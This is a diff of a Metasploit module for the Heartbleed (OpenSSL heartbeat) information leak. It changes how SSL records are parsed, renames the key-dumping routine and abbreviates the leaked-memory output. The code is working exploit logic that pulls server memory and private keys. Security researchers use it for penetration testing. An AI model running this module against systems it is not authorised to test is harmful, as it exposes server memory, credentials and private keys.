Land #6182, Heartbleed scanner improvements
commit
e8dacf32fd
|
@ -71,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
0x00ff # Unknown
|
||||
]
|
||||
|
||||
SSL_RECORD_HEADER_SIZE = 0x05
|
||||
HANDSHAKE_RECORD_TYPE = 0x16
|
||||
HEARTBEAT_RECORD_TYPE = 0x18
|
||||
ALERT_RECORD_TYPE = 0x15
|
||||
|
@ -79,7 +80,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
|
||||
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
|
||||
|
||||
|
||||
TLS_VERSION = {
|
||||
'SSLv3' => 0x0300,
|
||||
'1.0' => 0x0301,
|
||||
|
@ -99,6 +99,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
# See the discussion at https://github.com/rapid7/metasploit-framework/pull/3252
|
||||
SAFE_CHECK_MAX_RECORD_LENGTH = (1 << 14)
|
||||
|
||||
# For verbose output, deduplicate repeated characters beyond this threshold
|
||||
DEDUP_REPEATED_CHARS_THRESHOLD = 400
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak',
|
||||
|
@ -203,18 +206,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
# Main method
|
||||
def run_host(ip)
|
||||
# initial connect to get public key and stuff
|
||||
connect_result = establish_connect
|
||||
disconnect
|
||||
return if connect_result.nil?
|
||||
|
||||
case action.name
|
||||
when 'SCAN'
|
||||
loot_and_report(bleed)
|
||||
when 'DUMP'
|
||||
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
|
||||
when 'KEYS'
|
||||
getkeys
|
||||
get_keys
|
||||
else
|
||||
# Shouldn't get here, since Action is Enum
|
||||
print_error("Unknown Action: #{action.name}")
|
||||
|
@ -424,20 +422,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
vprint_status("#{peer} - Sending Client Hello...")
|
||||
sock.put(client_hello)
|
||||
server_hello = get_data
|
||||
unless server_hello
|
||||
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
|
||||
return nil
|
||||
end
|
||||
|
||||
server_resp_parsed = parse_ssl_record(server_hello)
|
||||
server_resp = get_server_hello
|
||||
|
||||
if server_resp_parsed.nil?
|
||||
if server_resp.nil?
|
||||
vprint_error("#{peer} - Server Hello Not Found")
|
||||
return nil
|
||||
end
|
||||
|
||||
server_resp_parsed
|
||||
server_resp
|
||||
end
|
||||
|
||||
# Generates a heartbeat request
|
||||
|
@ -455,7 +448,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
vprint_status("#{peer} - Sending Heartbeat...")
|
||||
sock.put(heartbeat_request(heartbeat_length))
|
||||
hdr = get_data(5)
|
||||
hdr = get_data(SSL_RECORD_HEADER_SIZE)
|
||||
if hdr.nil? || hdr.empty?
|
||||
vprint_error("#{peer} - No Heartbeat response...")
|
||||
disconnect
|
||||
|
@ -533,16 +526,34 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("#{peer} - Heartbeat data stored in #{path}")
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
|
||||
# Convert non-printable characters to periods
|
||||
printable_data = heartbeat_data.gsub(/[^[:print:]]/, '.')
|
||||
|
||||
# Keep this many duplicates as padding around the deduplication message
|
||||
duplicate_pad = (DEDUP_REPEATED_CHARS_THRESHOLD / 3).round
|
||||
|
||||
# Remove duplicate characters
|
||||
abbreviated_data = printable_data.gsub(/(.)\1{#{(DEDUP_REPEATED_CHARS_THRESHOLD - 1)},}/) do |s|
|
||||
s[0, duplicate_pad] +
|
||||
' repeated ' + (s.length - (2 * duplicate_pad)).to_s + ' times ' +
|
||||
s[-duplicate_pad, duplicate_pad]
|
||||
end
|
||||
|
||||
# Show abbreviated data
|
||||
vprint_status("#{peer} - Printable info leaked:\n#{abbreviated_data}")
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Keydumoing helper methods
|
||||
# Keydumping helper methods
|
||||
#
|
||||
|
||||
# Tries to retreive the private key
|
||||
def getkeys
|
||||
def get_keys
|
||||
connect_result = establish_connect
|
||||
disconnect
|
||||
return if connect_result.nil?
|
||||
|
||||
print_status("#{peer} - Scanning for private keys")
|
||||
count = 0
|
||||
|
||||
|
@ -681,11 +692,32 @@ class Metasploit3 < Msf::Auxiliary
|
|||
ssl_record(HANDSHAKE_RECORD_TYPE, data)
|
||||
end
|
||||
|
||||
# Parse SSL header
|
||||
def parse_ssl_record(data)
|
||||
ssl_records = []
|
||||
remaining_data = data
|
||||
def get_ssl_record
|
||||
hdr = get_data(SSL_RECORD_HEADER_SIZE)
|
||||
|
||||
unless hdr
|
||||
vprint_error("#{peer} - No SSL record header received after #{response_timeout} seconds...")
|
||||
return nil
|
||||
end
|
||||
|
||||
len = hdr.unpack('Cnn')[2]
|
||||
data = get_data(len)
|
||||
|
||||
unless data
|
||||
vprint_error("#{peer} - No SSL record contents received after #{response_timeout} seconds...")
|
||||
return nil
|
||||
end
|
||||
|
||||
hdr << data
|
||||
end
|
||||
|
||||
# Get and parse server hello response until we hit Server Hello Done or timeout
|
||||
def get_server_hello
|
||||
server_done = nil
|
||||
ssl_record_counter = 0
|
||||
|
||||
remaining_data = get_ssl_record
|
||||
|
||||
while remaining_data && remaining_data.length > 0
|
||||
ssl_record_counter += 1
|
||||
ssl_unpacked = remaining_data.unpack('CH4n')
|
||||
|
@ -702,17 +734,19 @@ class Metasploit3 < Msf::Auxiliary
|
|||
else
|
||||
ssl_data = remaining_data[5, ssl_len]
|
||||
handshakes = parse_handshakes(ssl_data)
|
||||
ssl_records << {
|
||||
:type => ssl_type,
|
||||
:version => ssl_version,
|
||||
:length => ssl_len,
|
||||
:data => handshakes
|
||||
}
|
||||
|
||||
# Stop once we receive a SERVER_HELLO_DONE
|
||||
if handshakes && handshakes.length > 0 && handshakes[-1][:type] == HANDSHAKE_SERVER_HELLO_DONE_TYPE
|
||||
server_done = true
|
||||
break
|
||||
end
|
||||
|
||||
end
|
||||
remaining_data = remaining_data[(ssl_len + 5)..-1]
|
||||
|
||||
remaining_data = get_ssl_record
|
||||
end
|
||||
|
||||
ssl_records
|
||||
server_done
|
||||
end
|
||||
|
||||
# Parse Handshake data returned from servers
|
||||
|
|
Loading…
Reference in New Issue